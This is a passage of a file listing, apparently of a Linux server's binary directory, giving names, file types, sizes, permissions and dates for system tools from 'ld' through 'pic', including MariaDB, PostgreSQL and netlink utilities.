2024-09-24 02:24:38
ld
application/x-sharedlib
1.71 MB
-rwxr-xr-x
2025-10-07 06:44:04
ld.bfd
application/x-sharedlib
1.71 MB
-rwxr-xr-x
2025-10-07 06:44:04
ld.gold
application/x-sharedlib
2.35 MB
-rwxr-xr-x
2025-10-07 06:44:04
ld.so
application/x-sharedlib
1.05 MB
-rwxr-xr-x
2025-08-05 02:12:45
ldd
text/x-shellscript
5.31 KB
-rwxr-xr-x
2025-08-05 02:01:31
lefty
application/x-sharedlib
304.52 KB
-rwxr-xr-x
2024-04-06 12:47:15
less
application/x-sharedlib
173.76 KB
-rwxr-xr-x
2024-07-02 08:10:37
lessecho
application/x-sharedlib
12.4 KB
-rwxr-xr-x
2024-07-02 08:10:37
lesskey
application/x-sharedlib
21.99 KB
-rwxr-xr-x
2024-07-02 08:10:37
lesspipe.sh
text/x-shellscript
3.07 KB
-rwxr-xr-x
2024-07-02 07:57:10
lex
application/x-sharedlib
428.45 KB
-rwxr-xr-x
2019-10-12 12:33:17
lexgrog
application/x-sharedlib
93.7 KB
-rwxr-xr-x
2021-10-08 01:04:46
libcare-cron
text/x-shellscript
1.06 KB
-rwxr-xr-x
2025-10-03 06:48:04
libgcrypt-config
text/x-shellscript
3.84 KB
-rwxr-xr-x
2022-06-28 11:54:07
libnetcfg
text/x-perl
15.41 KB
-rwxr-xr-x
2025-07-28 08:08:32
libpng-config
text/x-shellscript
2.33 KB
-rwxr-xr-x
2019-10-12 12:44:13
libpng16-config
text/x-shellscript
2.33 KB
-rwxr-xr-x
2019-10-12 12:44:13
libtool
text/x-shellscript
359.11 KB
-rwxr-xr-x
2019-10-11 02:55:28
libtoolize
text/x-shellscript
126.17 KB
-rwxr-xr-x
2019-10-11 02:55:28
libwmf-fontmap
text/x-shellscript
13.03 KB
-rwxr-xr-x
2019-10-14 03:47:01
link
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
linux-boot-prober
text/x-shellscript
5.85 KB
-rwxr-xr-x
2021-10-09 02:56:52
linux32
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
linux64
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
ln
application/x-sharedlib
70.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
lnav
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2020-10-23 08:26:04
lneato
text/x-shellscript
1.51 KB
-rwxr-xr-x
2024-04-06 12:47:07
loadkeys
application/x-sharedlib
210.53 KB
-rwxr-xr-x
2023-10-14 09:01:01
loadunimap
application/x-sharedlib
29.03 KB
-rwxr-xr-x
2023-10-14 09:01:01
locale
application/x-sharedlib
56.45 KB
-rwxr-xr-x
2025-08-05 02:12:44
localectl
application/x-sharedlib
28.86 KB
-rwxr-xr-x
2025-04-22 01:58:57
localedef
application/x-sharedlib
307.47 KB
-rwxr-xr-x
2025-08-05 02:12:44
logger
application/x-sharedlib
49.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
login
application/x-sharedlib
40.96 KB
-rwxr-xr-x
2024-04-06 01:02:53
loginctl
application/x-sharedlib
57.28 KB
-rwxr-xr-x
2025-04-22 01:58:57
logname
application/x-sharedlib
33.42 KB
-rwxr-xr-x
2023-04-01 08:44:39
logresolve
application/x-sharedlib
21.45 KB
-rwxr-xr-x
2025-10-15 08:39:07
look
application/x-sharedlib
16.45 KB
-rwxr-xr-x
2024-04-06 01:02:53
ls
application/x-sharedlib
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
lsattr
application/x-sharedlib
11.93 KB
-rwxr-xr-x
2025-10-07 07:08:06
lsblk
application/x-sharedlib
90.13 KB
-rwxr-xr-x
2024-04-06 01:02:53
lscpu
application/x-sharedlib
81.7 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsgpio
application/x-sharedlib
15.06 KB
-rwxr-xr-x
2025-10-20 08:13:35
lsiio
application/x-sharedlib
22.98 KB
-rwxr-xr-x
2025-10-20 08:13:35
lsinitrd
text/x-shellscript
8.68 KB
-rwxr-xr-x
2025-07-15 09:09:28
lsipc
application/x-sharedlib
73.74 KB
-rwxr-xr-x
2024-04-06 01:02:53
lslocks
application/x-sharedlib
37.53 KB
-rwxr-xr-x
2024-04-06 01:02:53
lslogins
application/x-sharedlib
65.6 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsmem
application/x-sharedlib
45.34 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsns
application/x-sharedlib
49.28 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsof
application/x-sharedlib
175.4 KB
-rwxr-xr-x
2020-08-15 09:59:43
lsphp
text/x-perl
937 B
-rwxr-xr-x
2025-04-01 04:34:05
lsscsi
application/x-sharedlib
86.01 KB
-rwxr-xr-x
2021-10-09 05:12:29
lua
application/x-sharedlib
20.45 KB
-rwxr-xr-x
2021-10-09 05:14:37
luac
application/x-sharedlib
152.77 KB
-rwxr-xr-x
2021-10-09 05:14:37
lwp-download
text/x-perl
10.05 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-dump
text/x-perl
2.65 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-mirror
text/x-perl
2.36 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-request
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
lynx
application/x-sharedlib
1.84 MB
-rwxr-xr-x
2022-04-18 09:01:05
lzcat
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzcmp
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzdiff
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzegrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzfgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzma
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmadec
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmainfo
application/x-sharedlib
12.36 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2022-06-14 01:03:30
m4
application/x-sharedlib
185.56 KB
-rwxr-xr-x
2019-10-11 02:41:40
mail
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
mailx
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
make
application/x-sharedlib
235.32 KB
-rwxr-xr-x
2022-04-18 04:38:34
make-dummy-cert
text/x-shellscript
610 B
-rwxr-xr-x
2024-10-09 01:39:22
makedb
application/x-sharedlib
24.84 KB
-rwxr-xr-x
2025-08-05 02:12:44
man
application/x-sharedlib
112.52 KB
-rwxr-xr-x
2021-10-08 01:04:46
mandb
application/x-sharedlib
134.52 KB
-rwxr-xr-x
2021-10-08 01:04:46
manpath
application/x-sharedlib
33.42 KB
-rwxr-xr-x
2021-10-08 01:04:46
mapscrn
application/x-sharedlib
24.84 KB
-rwxr-xr-x
2023-10-14 09:01:01
mariadb
application/x-sharedlib
4.34 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-access
text/x-perl
109.34 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-admin
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-binlog
application/x-sharedlib
4.14 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-check
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-config
application/x-sharedlib
12.2 KB
-rwxr-xr-x
2025-07-28 05:11:56
mariadb-conv
application/x-sharedlib
3.59 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-convert-table-format
text/x-perl
4.12 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-dump
application/x-sharedlib
3.96 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-dumpslow
text/x-perl
8.05 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-embedded
application/x-sharedlib
22.6 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-find-rows
text/x-perl
3.21 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-fix-extensions
text/x-perl
1.22 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-hotcopy
text/x-perl
34.15 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-import
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-install-db
text/x-shellscript
22.46 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-plugin
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-secure-installation
text/x-shellscript
13.49 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-service-convert
text/x-shellscript
2.45 KB
-rwxr-xr-x
2025-07-28 03:52:27
mariadb-setpermission
text/x-perl
17.56 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-show
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-slap
application/x-sharedlib
3.89 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-tzinfo-to-sql
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-upgrade
application/x-sharedlib
4 MB
-rwxr-xr-x
2025-07-28 05:16:24
mariadb-waitpid
application/x-sharedlib
3.55 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb_config
application/x-sharedlib
12.2 KB
-rwxr-xr-x
2025-07-28 05:11:56
mariadbd-multi
text/x-perl
26.71 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadbd-safe
text/x-shellscript
30.42 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadbd-safe-helper
application/x-sharedlib
3.52 MB
-rwxr-xr-x
2025-07-28 05:16:23
mc
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcdiff
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcedit
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcookie
application/x-sharedlib
33.26 KB
-rwxr-xr-x
2024-04-06 01:02:53
mcpp
application/x-sharedlib
9.02 KB
-rwxr-xr-x
2019-10-14 03:45:04
mcview
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
md5sum
application/x-sharedlib
45.62 KB
-rwxr-xr-x
2023-04-01 08:44:39
mdig
application/x-sharedlib
48.52 KB
-rwxr-xr-x
2025-02-20 09:05:41
memstrack
application/x-sharedlib
83.78 KB
-rwxr-xr-x
2023-10-15 04:56:34
mesg
application/x-sharedlib
16.36 KB
-rwxr-xr-x
2024-04-06 01:02:53
mkdir
application/x-sharedlib
82.79 KB
-rwxr-xr-x
2023-04-01 08:44:39
mkfifo
application/x-sharedlib
66.56 KB
-rwxr-xr-x
2023-04-01 08:44:39
mkfontdir
text/x-shellscript
65 B
-rwxr-xr-x
2021-10-09 11:42:24
mkfontscale
application/x-sharedlib
41.59 KB
-rwxr-xr-x
2021-10-09 11:42:47
mkinitrd
text/x-shellscript
6.43 KB
-rwxr-xr-x
2025-07-15 09:09:28
mknod
application/x-sharedlib
70.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
mktemp
application/x-sharedlib
45.73 KB
-rwxr-xr-x
2023-04-01 08:44:39
mm2gv
application/x-sharedlib
90.53 KB
-rwxr-xr-x
2024-04-06 12:47:15
mmdblookup
application/x-sharedlib
16.74 KB
-rwxr-xr-x
2024-02-12 02:30:34
modulecmd
text/plain
384.75 KB
-rwxr-xr-x
2023-10-14 06:46:13
modulemd-validator
application/x-sharedlib
24.96 KB
-rwxr-xr-x
2021-10-09 01:37:57
modutil
application/x-sharedlib
177.43 KB
-rwxr-xr-x
2025-09-09 01:57:06
mogrify
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
montage
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
more
application/x-sharedlib
44.94 KB
-rwxr-xr-x
2024-04-06 01:02:53
mount
application/x-sharedlib
49.15 KB
-rwsr-xr-x
2024-04-06 01:02:53
mountpoint
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2024-04-06 01:02:53
mpicalc
application/x-sharedlib
20.38 KB
-rwxr-xr-x
2022-06-28 11:54:07
mpstat
application/x-sharedlib
53.51 KB
-rwxr-xr-x
2024-07-03 09:57:26
msgattrib
application/x-sharedlib
25.58 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcat
application/x-sharedlib
25.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcmp
application/x-sharedlib
26.12 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcomm
application/x-sharedlib
25.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgconv
application/x-sharedlib
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgen
application/x-sharedlib
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgexec
application/x-sharedlib
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfilter
application/x-sharedlib
34.53 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfmt
application/x-sharedlib
90.3 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfmt2.7.py
text/plain
6.33 KB
-rwxr-xr-x
2024-04-10 04:58:41
msgfmt2.py
text/plain
6.33 KB
-rwxr-xr-x
2024-04-10 04:58:41
msggrep
application/x-sharedlib
43.6 KB
-rwxr-xr-x
2019-11-18 05:17:29
msginit
application/x-sharedlib
67.85 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgmerge
application/x-sharedlib
71.48 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgunfmt
application/x-sharedlib
35.8 KB
-rwxr-xr-x
2019-11-18 05:17:29
msguniq
application/x-sharedlib
25.56 KB
-rwxr-xr-x
2019-11-18 05:17:29
msql2mysql
text/x-shellscript
1.41 KB
-rwxr-xr-x
2025-07-28 03:57:47
multitail
application/x-executable
329.2 KB
-rwxr-xr-x
2020-01-06 10:32:41
mv
application/x-sharedlib
144.03 KB
-rwxr-xr-x
2023-04-01 08:44:39
my_print_defaults
application/x-sharedlib
3.56 MB
-rwxr-xr-x
2025-07-28 05:10:34
myisam_ftdump
application/x-sharedlib
3.89 MB
-rwxr-xr-x
2025-07-28 05:16:24
myisamchk
application/x-sharedlib
4.01 MB
-rwxr-xr-x
2025-07-28 05:16:24
myisamlog
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:16:23
myisampack
application/x-sharedlib
3.91 MB
-rwxr-xr-x
2025-07-28 05:16:23
mysql
application/x-sharedlib
4.34 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysql_config
text/x-shellscript
4.51 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_embedded
application/x-sharedlib
22.6 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysql_find_rows
text/x-perl
3.21 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_fix_extensions
text/x-perl
1.22 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_install_db
text/x-shellscript
22.46 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_plugin
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysql_tzinfo_to_sql
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysql_upgrade
application/x-sharedlib
4 MB
-rwxr-xr-x
2025-07-28 05:16:24
mysql_waitpid
application/x-sharedlib
3.55 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlaccess
text/x-perl
109.34 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysqladmin
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlbinlog
application/x-sharedlib
4.14 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlcheck
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysqld_multi
text/x-perl
26.71 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysqld_safe
text/x-shellscript
30.42 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysqld_safe_helper
application/x-sharedlib
3.52 MB
-rwxr-xr-x
2025-07-28 05:16:23
mysqldump
application/x-sharedlib
3.96 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlimport
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlshow
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlslap
application/x-sharedlib
3.89 MB
-rwxr-xr-x
2025-07-28 05:10:34
mytop
text/x-perl
71.95 KB
-rwxr-xr-x
2025-07-28 03:57:47
nail
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
named-rrchecker
application/x-sharedlib
19.88 KB
-rwxr-xr-x
2025-02-20 09:05:41
namei
application/x-sharedlib
33.1 KB
-rwxr-xr-x
2024-04-06 01:02:53
nano
application/x-sharedlib
247.94 KB
-rwxr-xr-x
2024-09-24 02:16:19
nc
application/x-sharedlib
49.27 KB
-rwxr-xr-x
2025-01-05 11:13:17
ncdu
application/x-sharedlib
89.88 KB
-rwxr-xr-x
2025-03-08 07:44:19
ncurses6-config
text/x-shellscript
5.87 KB
-rwxr-xr-x
2023-10-14 06:54:41
ncursesw6-config
text/x-shellscript
5.88 KB
-rwxr-xr-x
2023-10-14 06:54:41
ndptool
application/x-sharedlib
24.45 KB
-rwxr-xr-x
2024-07-19 07:04:25
neato
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
needs-restarting
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
neqn
text/x-shellscript
908 B
-rwxr-xr-x
2019-10-13 02:29:37
net-snmp-create-v3-user
text/x-shellscript
3.15 KB
-rwxr-xr-x
2025-10-07 09:19:20
netcat
application/x-sharedlib
49.27 KB
-rwxr-xr-x
2025-01-05 11:13:17
netstat
application/x-sharedlib
158.68 KB
-rwxr-xr-x
2020-08-30 05:47:39
newgidmap
application/x-sharedlib
47.8 KB
-rwxr-xr-x
2024-04-06 02:00:13
newgrp
application/x-sharedlib
42.45 KB
-rwsr-xr-x
2024-04-06 02:00:13
newuidmap
application/x-sharedlib
47.76 KB
-rwxr-xr-x
2024-04-06 02:00:13
nf-ct-add
application/x-sharedlib
16.46 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-events
application/x-sharedlib
12.38 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-list
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-add
application/x-sharedlib
16.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-delete
application/x-sharedlib
16.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-list
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-log
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-monitor
application/x-sharedlib
12.36 KB
-rwxr-xr-x
2022-10-08 11:39:40
nf-queue
application/x-sharedlib
16.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
ngettext
application/x-sharedlib
48.97 KB
-rwxr-xr-x
2019-11-18 05:17:29
nice
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
nisdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
nl
application/x-sharedlib
45.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
nl-addr-add
application/x-sharedlib
12.34 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-delete
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-list
application/x-sharedlib
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-add
application/x-sharedlib
16.73 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-delete
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-list
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-classid-lookup
application/x-sharedlib
12.47 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-add
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-cls-delete
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-list
application/x-sharedlib
12.73 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-fib-lookup
application/x-sharedlib
12.5 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-enslave
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-ifindex2name
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-list
application/x-sharedlib
12.23 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-name2ifindex
application/x-sharedlib
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-release
application/x-sharedlib
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-set
application/x-sharedlib
12.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-stats
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-caches
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-sockets
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-monitor
application/x-sharedlib
12.52 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-add
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-delete
application/x-sharedlib
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-list
application/x-sharedlib
12.19 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neightbl-list
application/x-sharedlib
12.01 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-pktloc-lookup
application/x-sharedlib
12.56 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-add
application/x-sharedlib
12.65 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-delete
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-list
application/x-sharedlib
16.74 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-add
application/x-sharedlib
16.39 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-delete
application/x-sharedlib
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-get
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-list
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-rule-list
application/x-sharedlib
12.05 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-tctree-list
application/x-sharedlib
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-util-addr
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2022-10-08 11:39:41
nm
application/x-sharedlib
50.38 KB
-rwxr-xr-x
2025-10-07 06:44:04
nm-online
application/x-sharedlib
20.84 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmcli
application/x-sharedlib
1009 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-connect
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-edit
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-hostname
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nohup
application/x-sharedlib
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nop
application/x-sharedlib
12.5 KB
-rwxr-xr-x
2024-04-06 12:47:15
nproc
application/x-sharedlib
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nroff
text/x-shellscript
3.23 KB
-rwxr-xr-x
2019-10-13 02:29:39
nsenter
application/x-sharedlib
33.3 KB
-rwxr-xr-x
2024-04-06 01:02:53
nslookup
application/x-sharedlib
146.26 KB
-rwxr-xr-x
2025-02-20 09:05:41
nss-policy-check
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2025-09-09 01:57:07
nsupdate
application/x-sharedlib
73.05 KB
-rwxr-xr-x
2025-02-20 09:05:41
numfmt
application/x-sharedlib
65.71 KB
-rwxr-xr-x
2023-04-01 08:44:39
objcopy
application/x-sharedlib
240.07 KB
-rwxr-xr-x
2025-10-07 06:44:04
objdump
application/x-sharedlib
419.76 KB
-rwxr-xr-x
2025-10-07 06:44:04
od
application/x-sharedlib
73.88 KB
-rwxr-xr-x
2023-04-01 08:44:39
odbc_config
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-14 09:51:19
odbcinst
application/x-sharedlib
37.68 KB
-rwxr-xr-x
2019-10-14 09:51:19
open
application/x-sharedlib
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
openssl
application/x-sharedlib
745.95 KB
-rwxr-xr-x
2024-10-09 01:39:36
openvt
application/x-sharedlib
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
os-prober
text/x-shellscript
5.78 KB
-rwxr-xr-x
2021-10-09 02:56:52
osage
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
p11-kit
application/x-sharedlib
37.15 KB
-rwxr-xr-x
2024-04-06 02:16:19
package-cleanup
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
page_owner_sort
application/x-sharedlib
11.34 KB
-rwxr-xr-x
2025-10-20 08:13:35
pango-list
application/x-sharedlib
11.88 KB
-rwxr-xr-x
2021-10-08 03:22:06
pango-view
application/x-sharedlib
57.44 KB
-rwxr-xr-x
2021-10-08 03:22:06
paperconf
application/x-sharedlib
13.07 KB
-rwxr-xr-x
2019-10-12 08:09:13
passwd
application/x-sharedlib
32.77 KB
-rwsr-xr-x
2022-04-18 10:59:33
paste
application/x-sharedlib
37.46 KB
-rwxr-xr-x
2023-04-01 08:44:39
patch
application/x-sharedlib
206.46 KB
-rwxr-xr-x
2020-06-01 03:14:25
patchwork
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
pathchk
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
pathfix.py
text/plain
6.63 KB
-rwxr-xr-x
2025-08-26 08:58:55
pcre-config
text/x-shellscript
2.09 KB
-rwxr-xr-x
2021-10-08 07:17:42
pcre2-config
text/x-shellscript
1.9 KB
-rwxr-xr-x
2022-08-02 04:07:28
pdf2dsc
text/x-shellscript
698 B
-rwxr-xr-x
2025-06-03 02:48:11
pdf2ps
text/x-shellscript
909 B
-rwxr-xr-x
2025-06-03 02:48:11
peekfd
application/x-sharedlib
16.51 KB
-rwxr-xr-x
2020-11-06 02:24:16
perl
application/x-sharedlib
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perl5.26.3
application/x-sharedlib
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perlbug
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perldoc
text/x-perl
118 B
-rwxr-xr-x
2019-10-13 11:53:57
perlivp
text/x-perl
10.56 KB
-rwxr-xr-x
2025-07-28 08:07:09
perlml
application/x-executable
6.86 KB
-rwxr-xr-x
2022-08-10 08:54:28
perlthanks
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perror
application/x-sharedlib
3.75 MB
-rwxr-xr-x
2025-07-28 05:16:24
pflags
text/x-python
2.57 KB
-rwxr-xr-x
2024-04-06 01:32:49
pftp
application/x-sharedlib
101.2 KB
-rwxr-xr-x
2019-10-12 12:59:55
pg_basebackup
application/x-sharedlib
123.48 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_config
application/x-sharedlib
45.35 KB
-rwxr-xr-x
2025-02-20 07:58:19
pg_controldata
application/x-sharedlib
41.22 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_ctl
application/x-sharedlib
53.78 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dump
application/x-sharedlib
399.43 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dumpall
application/x-sharedlib
107.11 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_isready
application/x-sharedlib
65.92 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_receivewal
application/x-sharedlib
70.56 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_recvlogical
application/x-sharedlib
74.73 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_resetwal
application/x-sharedlib
49.29 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_restore
application/x-sharedlib
173.34 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_rewind
application/x-sharedlib
86.58 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_upgrade
application/x-sharedlib
139.52 KB
-rwxr-xr-x
2024-02-27 08:25:00
pgrep
application/x-sharedlib
28.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
php
text/x-perl
937 B
-rwxr-xr-x
2025-04-01 04:34:05
pic
application/x-sharedlib
293.84 KB
-rwxr-xr-x
